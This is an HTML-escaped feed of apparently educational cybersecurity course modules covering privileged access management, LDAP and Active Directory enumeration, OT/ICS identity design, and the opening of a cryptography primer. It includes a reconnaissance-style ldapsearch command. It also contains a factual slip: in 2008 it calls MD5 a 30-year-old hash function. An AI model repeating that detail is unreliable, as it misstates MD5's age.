&lt;/h3&gt;

&lt;p&gt;PAM is the discipline and toolset for controlling, monitoring, and auditing access by &lt;strong&gt;accounts with elevated privilege&lt;/strong&gt; — Domain Admins, root, database admins, network device admins, OT engineering accounts. The core insight: &lt;strong&gt;privileged accounts are disproportionately responsible for breach severity&lt;/strong&gt;, even though they're a small minority of total accounts. Nearly every major breach's &lt;em&gt;impact&lt;/em&gt; (not necessarily initial access) traces to privileged credential abuse.&lt;/p&gt;

&lt;h3&gt;
  
  
  13.2 Core PAM Capabilities
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌────────────────────────────────────────────────────────────────┐
│ 1. VAULTING        Privileged credentials stored encrypted,     │
│                     never known by the human user directly       │
│ 2. JUST-IN-TIME     Privilege granted temporarily, for a          │
│    ACCESS (JIT)     specific task, then automatically revoked     │
│ 3. SESSION          All privileged sessions proxied through a    │
│    BROKERING        jump host, recorded, and monitorable live    │
│ 4. CREDENTIAL       Privileged passwords auto-rotated after       │
│    ROTATION         every checkout/use, so a stolen credential    │
│                     is valid for only one session                │
│ 5. LEAST            Privilege scoped to the minimum necessary     │
│    PRIVILEGE        task, time window, and target system          │
└────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 The Standing Privilege Problem
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TRADITIONAL MODEL:                    PAM/JIT MODEL:
Admin account is ALWAYS               Admin requests elevation for
privileged, 24/7, whether              a specific task --&amp;gt; approved
in use or not                          (manually or policy-based) --&amp;gt;
                                        privilege granted for a defined
ATTACK SURFACE: large,                 window (e.g. 1 hour) --&amp;gt; auto-
constant, always exploitable           revoked
                                       ATTACK SURFACE: small, time-
                                        boxed, requires active task
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Standing privileged access is precisely what attackers seek post-initial-access: in nearly every domain-wide ransomware case, the time between initial foothold and Domain Admin acquisition is the critical window — and PAM's purpose is to make that acquisition either impossible (no standing privileged credentials to steal) or immediately detectable (every privileged session is recorded and alertable).&lt;/p&gt;

&lt;h3&gt;
  
  
  13.4 Architecture: The Privileged Access Workstation (PAW) + Jump Host Model
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Administrator's          Privileged Access      Target Privileged
regular workstation      Workstation (PAW) /     System (DC, SCADA
(email, browsing,        Jump Host                server, etc.)
general use)              (hardened, no            
                          internet/email,
     │                    MFA-gated,
     │  NO DIRECT          session-recorded)
     │  PRIVILEGED              │
     │  ACCESS ─────X           │
                                  │── brokered, recorded,
                                     time-boxed session ──►
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The principle: &lt;strong&gt;the workstation used for everyday email/browsing must never be the same workstation used for privileged administrative access&lt;/strong&gt; — this single architectural separation defeats the single most common ransomware escalation pattern (phishing on the daily-use workstation leading directly to credential theft of an admin session active on the same machine).&lt;/p&gt;

&lt;h3&gt;
  
  
  13.5 PAM Tooling Landscape
&lt;/h3&gt;

&lt;p&gt;CyberArk, BeyondTrust, Delinea (formerly Thycotic), HashiCorp Vault (secrets management, often complementary to full PAM suites), and native cloud equivalents (AWS IAM Roles + Session Manager, Azure PIM — Privileged Identity Management) all implement variations of the above capabilities. &lt;strong&gt;Azure PIM&lt;/strong&gt; is a particularly instructive cloud-native example of JIT: roles like Global Administrator can be configured as &lt;strong&gt;eligible&lt;/strong&gt; rather than &lt;strong&gt;active&lt;/strong&gt;, requiring explicit, time-boxed, justification-logged activation per use.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example: Azure PIM CLI-style role activation request (illustrative)&lt;/span&gt;
az rest &lt;span class="nt"&gt;--method&lt;/span&gt; post &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--url&lt;/span&gt; &lt;span class="s2"&gt;"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--body&lt;/span&gt; &lt;span class="s1"&gt;'{
    "action": "selfActivate",
    "principalId": "&amp;lt;user-object-id&amp;gt;",
    "roleDefinitionId": "&amp;lt;role-id&amp;gt;",
    "directoryScopeId": "/",
    "justification": "Investigating ticket INC1234",
    "scheduleInfo": { "expiration": { "duration": "PT1H" } }
  }'&lt;/span&gt;
&lt;span class="c"&gt;# duration": "PT1H"  -- ISO 8601 duration: this elevation expires&lt;/span&gt;
&lt;span class="c"&gt;#                       automatically after exactly 1 hour&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.6 Detecting PAM Bypass / Misuse
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Direct authentication to privileged accounts outside the PAM checkout workflow&lt;/strong&gt; (i.e., a Domain Admin login event with no corresponding PAM vault checkout record) is one of the highest-fidelity indicators of either a PAM gap or active credential theft.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Session recording gaps&lt;/strong&gt; (a privileged session with no corresponding video/keystroke log, due to misconfiguration or tampering) should themselves trigger an alert — an attacker disabling session recording before activity is a documented technique in mature intrusions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  13.7 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Eliminate all &lt;strong&gt;standing/permanent privileged group memberships&lt;/strong&gt; where JIT is feasible.&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;PAW separation&lt;/strong&gt; — privileged sessions only from hardened, isolated jump hosts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-rotate&lt;/strong&gt; every privileged credential after each checkout, regardless of whether misuse is suspected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Record and retain&lt;/strong&gt; all privileged sessions, with tamper-evident storage (write-once or hashed/chained logs) and a defined retention period meeting your compliance/forensic requirements.&lt;/li&gt;
&lt;li&gt;Apply PAM principles to &lt;strong&gt;service accounts and API keys&lt;/strong&gt;, not just human admins — non-human privileged identities are an increasingly dominant share of real-world privilege in modern environments and are routinely under-governed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  13.8 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Cross-reference PAM vault checkout/checkin logs against actual authentication events on target systems — any privileged authentication &lt;strong&gt;without&lt;/strong&gt; a matching, time-adjacent vault checkout is your single most actionable PAM-layer detection rule, and should be a standing, always-on correlation rule in your SIEM.&lt;/p&gt;

&lt;h3&gt;
  
  
  13.9 OT/ICS Perspective — This Is the Most Important Subsection in the Module for This Specialization
&lt;/h3&gt;

&lt;p&gt;PAM is arguably &lt;strong&gt;the single highest-leverage control for IT/OT boundary security&lt;/strong&gt;, because it directly addresses the Colonial Pipeline pattern: a remote, standing credential with no MFA, no session recording, no time-boxing, bridging directly into OT-adjacent infrastructure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RECOMMENDED OT PAM ARCHITECTURE:

   IT Network                  DMZ / PAM Layer              OT Network
  ┌──────────┐               ┌─────────────────┐          ┌───────────┐
  │ Vendor/   │               │  PAM Jump Host /  │          │  HMI /     │
  │ Engineer  │──MFA-gated──►│  Privileged       │──brokered│  SCADA /   │
  │ remote    │  request      │  Session Broker   │ recorded │  PLC       │
  │ access    │               │  (time-boxed,      │ session  │  engineer  │
  └──────────┘               │   credential        │─────────►│  station   │
                              │   vaulted, never     │          └───────────┘
                              │   known to user)      │
                              └─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key OT-specific PAM design points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Vendor remote access&lt;/strong&gt; (the Colonial Pipeline-class scenario) must &lt;em&gt;never&lt;/em&gt; terminate directly inside the OT network — it must terminate at a PAM-brokered jump host in a DMZ, with the OT-side credential never disclosed to the vendor, fully time-boxed to the maintenance window, and fully session-recorded.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standing OT vendor VPN accounts&lt;/strong&gt;, active 24/7/365 "just in case," are a documented recurring finding in ICS security assessments and represent exactly the standing-privilege risk PAM/JIT is designed to eliminate.&lt;/li&gt;
&lt;li&gt;Session recording in OT must be configured to &lt;strong&gt;never interfere with real-time control-system performance or safety system response times&lt;/strong&gt; — PAM brokering should be architected at the engineering-access layer (HMI/workstation access), never inline with control-loop communication (PLC-to-PLC, controller-to-I/O), where latency or a broker outage could itself create a safety hazard. Know this distinction precisely: PAM governs &lt;strong&gt;who can open an engineering session&lt;/strong&gt;, not the deterministic control traffic underneath it.&lt;/li&gt;
&lt;li&gt;Maintain &lt;strong&gt;documented break-glass procedures&lt;/strong&gt; for emergency OT access scenarios where the PAM layer itself is unavailable (e.g., during a wide-scale IT outage) — OT operability must never be hostage to an IT identity system outage, but break-glass use must be logged and reviewed after every use without exception.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Colonial Pipeline was not a sophisticated attack — it was one standing, MFA-less, unrotated VPN credential. PAM exists specifically to make that scenario architecturally impossible, and in OT environments, it is the single highest-return control you can implement at the IT/OT boundary.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  14. The Missing Layer: Directory Services &amp;amp; Identity Federation Architecture
&lt;/h2&gt;

&lt;p&gt;This subtopic is not in the original outline but is essential — every protocol above (Kerberos, NTLM, SAML, OIDC) ultimately reads from a &lt;strong&gt;directory&lt;/strong&gt;: Active Directory, LDAP, Azure AD/Entra ID, or a cloud-native identity store. Understanding &lt;em&gt;where identity actually lives&lt;/em&gt; is the connective layer the rest of this module assumes.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.1 LDAP — The Underlying Data Layer
&lt;/h3&gt;

&lt;p&gt;Active Directory is, at its data layer, an &lt;strong&gt;LDAP (Lightweight Directory Access Protocol)&lt;/strong&gt; directory. Every user, group, computer, and policy object is an LDAP entry with a Distinguished Name (DN):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CN=John Doe,OU=Finance,DC=corp,DC=local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Querying AD via LDAP from Linux — common in both legitimate admin work&lt;/span&gt;
&lt;span class="c"&gt;# and attacker reconnaissance (this is exactly how tools like BloodHound&lt;/span&gt;
&lt;span class="c"&gt;# pull their raw data)&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://dc01.corp.local &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="s2"&gt;"CN=jdoe,OU=Finance,DC=corp,DC=local"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"DC=corp,DC=local"&lt;/span&gt; &lt;span class="s2"&gt;"(objectClass=user)"&lt;/span&gt; memberOf
&lt;span class="c"&gt;# -x : simple authentication&lt;/span&gt;
&lt;span class="c"&gt;# -H : target LDAP server&lt;/span&gt;
&lt;span class="c"&gt;# -D : bind DN (the authenticating account)&lt;/span&gt;
&lt;span class="c"&gt;# -b : search base (where in the directory tree to start)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;LDAP injection&lt;/strong&gt; and &lt;strong&gt;unauthenticated/anonymous LDAP bind misconfigurations&lt;/strong&gt; remain a recurring finding category — anonymous bind allowing full directory enumeration is a critical, frequently overlooked exposure in legacy environments.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.2 BloodHound — Why Directory Enumeration Matters Offensively and Defensively
&lt;/h3&gt;

&lt;p&gt;BloodHound maps AD trust and permission relationships as a graph, revealing &lt;strong&gt;non-obvious attack paths&lt;/strong&gt; (e.g., User A is in Group B, which has GenericAll rights over Group C, which is a member of Domain Admins) that no flat permission list would surface. Defensively, &lt;strong&gt;running BloodHound against your own environment&lt;/strong&gt; is now considered standard practice — you cannot defend an attack path you don't know exists.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.3 Trust Relationships and Their Risk
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Forest A  ◄──── two-way trust ────►  Forest B

If Forest B is compromised, and the trust is improperly scoped
(not using SID filtering / selective authentication), an attacker
can potentially traverse INTO Forest A using forged or stolen
credentials/tickets that cross the trust boundary.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Every authentication protocol in this module is a &lt;em&gt;consumer&lt;/em&gt; of a directory service — securing the directory itself (LDAP hardening, trust scoping, anonymous bind elimination) is a prerequisite for every other control in this module to mean anything.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  15. OT/ICS-Wide Identity Considerations
&lt;/h2&gt;

&lt;p&gt;Consolidating the cross-cutting OT themes from every section above into explicit, standalone guidance:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Identity systems in OT must never become a single point of operational failure.&lt;/strong&gt; A control-room operator must always be able to act during a safety event, even if the corporate identity stack is down. Design break-glass paths deliberately, not as an afterthought.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vendor remote access is the dominant real-world OT initial-access vector&lt;/strong&gt; (Colonial Pipeline being the most-cited example) — PAM-brokered, time-boxed, MFA-gated, never-standing access is the highest-leverage single investment in this entire module for OT environments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legacy protocol support (NTLM, weak Kerberos encryption types) often cannot be removed from OT due to vendor certification constraints&lt;/strong&gt; — the correct response is network-layer and PAM-layer compensating control, not pretending the legacy protocol isn't there.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Separate identity trust boundaries between IT and OT&lt;/strong&gt; (separate AD forest/domain, separate IdP realm) contain the blast radius of an IT-side identity compromise from automatically becoming an OT-side compromise — this single architectural decision determined the difference in outcome between organizations that contained Colonial-Pipeline-style intrusions to IT and those where it reached OT.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Physical and digital identity correlation matters in OT&lt;/strong&gt; — badge/biometric access logs to a control room should be correlated with HMI/SCADA session logs during incident investigation; insider-threat and safety-incident investigations in industrial settings rely on this correlation routinely.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  16. Module Summary Table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Function&lt;/th&gt;
&lt;th&gt;Primary Offensive Technique&lt;/th&gt;
&lt;th&gt;Primary Defensive Control&lt;/th&gt;
&lt;th&gt;OT/ICS Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Password Policies&lt;/td&gt;
&lt;td&gt;Shared-secret proof of identity&lt;/td&gt;
&lt;td&gt;Spraying, offline cracking&lt;/td&gt;
&lt;td&gt;Length over complexity, breach-list screening, Argon2id storage&lt;/td&gt;
&lt;td&gt;Avoid blind lockout policies on safety-critical HMI accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MFA&lt;/td&gt;
&lt;td&gt;Second independent proof factor&lt;/td&gt;
&lt;td&gt;Push fatigue, AiTM phishing, SIM swap&lt;/td&gt;
&lt;td&gt;FIDO2/WebAuthn, number-matching push&lt;/td&gt;
&lt;td&gt;Enforce MFA at IT/OT jump-host boundary, not inside OT itself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Biometrics&lt;/td&gt;
&lt;td&gt;Trait-based identity proof&lt;/td&gt;
&lt;td&gt;Spoofing/presentation attacks&lt;/td&gt;
&lt;td&gt;Liveness detection, on-device template storage, second factor&lt;/td&gt;
&lt;td&gt;Used for physical control-room access; correlate with session logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token-Based Auth&lt;/td&gt;
&lt;td&gt;Bearer credential post-login&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;alg:none&lt;/code&gt;/algorithm confusion, token theft&lt;/td&gt;
&lt;td&gt;Algorithm pinning, short lifetimes, httpOnly cookies&lt;/td&gt;
&lt;td&gt;Scope and monitor OT-to-cloud telemetry tokens tightly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAuth 2.0&lt;/td&gt;
&lt;td&gt;Delegated authorization&lt;/td&gt;
&lt;td&gt;Redirect URI manipulation, CSRF (missing &lt;code&gt;state&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Exact redirect allow-listing, PKCE, least-privilege scope&lt;/td&gt;
&lt;td&gt;Audit vendor OAuth app consent grants regularly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenID Connect&lt;/td&gt;
&lt;td&gt;Identity layer atop OAuth&lt;/td&gt;
&lt;td&gt;Missing &lt;code&gt;aud&lt;/code&gt;/&lt;code&gt;iss&lt;/code&gt; validation, ID token replay&lt;/td&gt;
&lt;td&gt;Validate all claims, use &lt;code&gt;nonce&lt;/code&gt;, pin trusted issuers&lt;/td&gt;
&lt;td&gt;Validate cloud HMI portal token audience scoping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SAML&lt;/td&gt;
&lt;td&gt;XML-based federated assertions&lt;/td&gt;
&lt;td&gt;Golden SAML, XML Signature Wrapping&lt;/td&gt;
&lt;td&gt;HSM-protect signing keys, validate audience/time window&lt;/td&gt;
&lt;td&gt;Isolate OT-vendor federation from core corporate IdP trust&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;Ticket-based domain authentication&lt;/td&gt;
&lt;td&gt;Golden/Silver Ticket, Kerberoasting, Pass-the-Ticket&lt;/td&gt;
&lt;td&gt;krbtgt rotation, gMSA, monitor 4769/RC4 etype&lt;/td&gt;
&lt;td&gt;Separate forest/domain for OT Windows servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTLM&lt;/td&gt;
&lt;td&gt;Legacy challenge-response auth&lt;/td&gt;
&lt;td&gt;Pass-the-Hash, NTLM Relay&lt;/td&gt;
&lt;td&gt;SMB/LDAP signing, disable LLMNR/NBT-NS, LAPS&lt;/td&gt;
&lt;td&gt;Compensate via network isolation for legacy OT hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSO&lt;/td&gt;
&lt;td&gt;Single authentication, multiple apps&lt;/td&gt;
&lt;td&gt;IdP vendor compromise, consent grant abuse&lt;/td&gt;
&lt;td&gt;Disproportionate IdP hardening, conditional access, break-glass account&lt;/td&gt;
&lt;td&gt;Dedicated OT-tier IdP, narrowly federated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PAM&lt;/td&gt;
&lt;td&gt;Controls/monitors privileged access&lt;/td&gt;
&lt;td&gt;Standing credential theft, direct-to-privileged login&lt;/td&gt;
&lt;td&gt;JIT access, session recording, credential rotation, PAW separation&lt;/td&gt;
&lt;td&gt;Brokered, time-boxed vendor remote access; never inline with control traffic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Directory Services (LDAP/AD)&lt;/td&gt;
&lt;td&gt;Underlying identity data store&lt;/td&gt;
&lt;td&gt;LDAP injection, anonymous bind enumeration, BloodHound mapping&lt;/td&gt;
&lt;td&gt;Disable anonymous bind, SID filtering on trusts, self-audit with BloodHound&lt;/td&gt;
&lt;td&gt;Prerequisite hardening for every other OT identity control&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  17. Navigation
&lt;/h2&gt;

&lt;p&gt;⬅ Previous: Module 2.2 — Network Security Fundamentals&lt;br&gt;
➡ Next: Module 2.4 — Endpoint Security and Hardening&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Bytewall Academy — Cybersecurity × OT/ICS Security Roadmap. This module is part of a continuously maintained open reference series. Contributions, corrections, and CVE updates are welcome via pull request.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>learning</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>bytewallacademy</category>
    </item>
    <item>
      <title>Stage 2.2 — Cryptography Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 16 Jun 2026 07:26:30 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-22-cryptography-fundamentals-1eo0</link>
      <guid>https://dev.to/rencberakman/stage-22-cryptography-fundamentals-1eo0</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 2 — Cybersecurity Core&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 2.2 — Cryptography Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 2.1 — Core Security Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 2.3 — Identity and Access Management&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Cryptography Is the Bedrock of All Digital Security&lt;/li&gt;
&lt;li&gt;What Is Encryption — First Principles&lt;/li&gt;
&lt;li&gt;Encoding vs Encryption vs Hashing&lt;/li&gt;
&lt;li&gt;Symmetric Encryption — AES, DES, 3DES, Blowfish&lt;/li&gt;
&lt;li&gt;Asymmetric Encryption — RSA, ECC, Diffie-Hellman&lt;/li&gt;
&lt;li&gt;Hash Functions — MD5, SHA-1, SHA-256, SHA-3&lt;/li&gt;
&lt;li&gt;Salt and Pepper — Password Hashing&lt;/li&gt;
&lt;li&gt;Digital Signatures&lt;/li&gt;
&lt;li&gt;PKI — Public Key Infrastructure&lt;/li&gt;
&lt;li&gt;SSL/TLS — How Secure Connections Work&lt;/li&gt;
&lt;li&gt;TLS Handshake — Deep Dive&lt;/li&gt;
&lt;li&gt;Cryptographic Randomness&lt;/li&gt;
&lt;li&gt;Steganography&lt;/li&gt;
&lt;li&gt;Cryptography in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Cryptography Is the Bedrock of All Digital Security
&lt;/h2&gt;

&lt;p&gt;Every security control that matters depends on cryptography. HTTPS exists because of TLS. Password storage is only safe because of hashing. Code signing, SSH, VPN, MFA apps, email signing, blockchain, digital certificates, secure boot — every one of these is cryptography applied to a specific problem. When cryptography breaks, everything built on it breaks simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete failures with massive real-world consequences:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MD5 Collision Attack → Rogue CA Certificate (2008):&lt;/strong&gt; MD5 was known to be weak, but CAs still used it to sign certificates. Researchers at CWI Amsterdam and others demonstrated that MD5's collision vulnerability could be exploited to create a rogue Certificate Authority certificate indistinguishable from a legitimate one. Any HTTPS connection could be silently intercepted. The entire HTTPS trust system — protecting every bank, government, and healthcare site — was compromised by a 30-year-old hash function that nobody had bothered to replace.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RSA 512-bit factored → FREAK attack (CVE-2015-0204):&lt;/strong&gt; "Export grade" cryptography mandated by 1990s US government regulations required weak RSA (512-bit) for exports. Attackers could factor 512-bit keys in hours using cloud computing and downgrade victims to export cipher suites. HTTPS connections to affected servers (including major banks and US government websites) could be decrypted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Heartbleed (CVE-2014-0160):&lt;/strong&gt; Not a cryptographic break, but a bug in OpenSSL's heartbeat extension that exposed 64KB of server memory per request — including private keys. When a private key is compromised, all past TLS sessions encrypted with that key (if not using Perfect Forward Secrecy) can be decrypted. Every certificate using the compromised key must be revoked and reissued. 17% of all secure web servers were affected simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DUHK (Don't Use Hard-coded Keys, 2017):&lt;/strong&gt; Some VPN implementations used a hardcoded seed value for their random number generator, making it possible to predict all encryption keys. A weak PRNG is as devastating as no encryption — the mathematics are correct, but the key material is predictable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS:&lt;/strong&gt; Industrial protocols from the 1980s-2000s (Modbus, DNP3 baseline, PROFIBUS) have no cryptography whatsoever — no authentication, no integrity, no confidentiality. IEC 62351 was developed specifically to add cryptographic security to these protocols, but adoption remains low. Understanding cryptography tells you exactly why a Modbus write command can be forged by anyone on the network and what it would take to prevent it.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Is Encryption — First Principles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Core Concept
&lt;/h3&gt;

&lt;p&gt;Encryption transforms readable data (plaintext) into unreadable data (ciphertext) using a mathematical algorithm and a key. Only parties possessing the correct key can reverse the process (decryption) to recover the plaintext.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Encryption:
  Plaintext + Key + Algorithm → Ciphertext
  "Hello"  + "K"  + AES      → "x7Kp2mQ9..."

Decryption:
  Ciphertext + Key + Algorithm → Plaintext
  "x7Kp2mQ9..." + "K" + AES   → "Hello"

The algorithm (cipher) is typically PUBLIC — Kerckhoffs's principle:
  "A cryptosystem should be secure even if everything about the
   system, except the key, is public knowledge."

  Rationale: If security depends on algorithm secrecy ("security through
  obscurity"), once the algorithm is discovered (and it will be), all
  security is lost. Security must come from key secrecy alone.

  Corollary: Proprietary/secret encryption algorithms are a red flag.
  They haven't been publicly scrutinised — they are almost certainly weaker
  than publicly reviewed standards like AES.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 The Mathematics of Security
&lt;/h3&gt;

&lt;p&gt;Encryption security is based on mathematical problems that are easy to perform in one direction but computationally infeasible to reverse without the key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Easy vs Hard Problems in Cryptography:

Symmetric (AES):
  Hard problem: Given ciphertext, find key without the key
  Security: Exhaustive search (brute force) of keyspace
  AES-128: 2^128 possible keys = 3.4 × 10^38 keys
  At 10^18 guesses/second: 1.07 × 10^13 years (longer than universe age)

Asymmetric (RSA):
  Hard problem: Integer Factorisation
  Given N = p × q (product of two large primes), find p and q
  Easy: multiply 2 large primes (milliseconds)
  Hard: factor the product (currently infeasible for 2048-bit)

Asymmetric (ECC):
  Hard problem: Elliptic Curve Discrete Logarithm Problem (ECDLP)
  Given P and Q = k×P (on an elliptic curve), find k
  Currently infeasible for 256-bit curves

  Key insight: 256-bit ECC ≈ 3072-bit RSA in security level
  ECC keys are much shorter for equivalent security

Hash Functions:
  Hard problem: Finding a collision or preimage
  Given H(x), find x (preimage resistance)
  Given H(x), find x' where H(x') = H(x) (second preimage)
  Find any x, x' where H(x) = H(x') (collision resistance)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Key Length and Security Levels
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NIST Recommended Key Sizes (2024):

Security Level  Symmetric  RSA/DH  ECC
──────────────────────────────────────────────────
80-bit          2TDEA       1024    160 (MINIMUM — deprecated)
112-bit         3TDEA       2048    224 (acceptable transitional)
128-bit         AES-128     3072    256 (recommended minimum)
192-bit         AES-192     7680    384
256-bit         AES-256    15360    521

"Security level" = approximate bits of work for best known attack

Future threat — Quantum Computing:
  Shor's algorithm breaks RSA and ECC entirely (exponential speedup)
  Grover's algorithm halves symmetric key security (128-bit → 64-bit effective)

  Post-Quantum Cryptography (PQC) — NIST finalists (2024):
  CRYSTALS-Kyber: Key encapsulation (replaces RSA/ECDH)
  CRYSTALS-Dilithium: Digital signatures (replaces RSA/ECDSA)
  FALCON: Digital signatures
  SPHINCS+: Hash-based signatures (no quantum threat to hash functions)

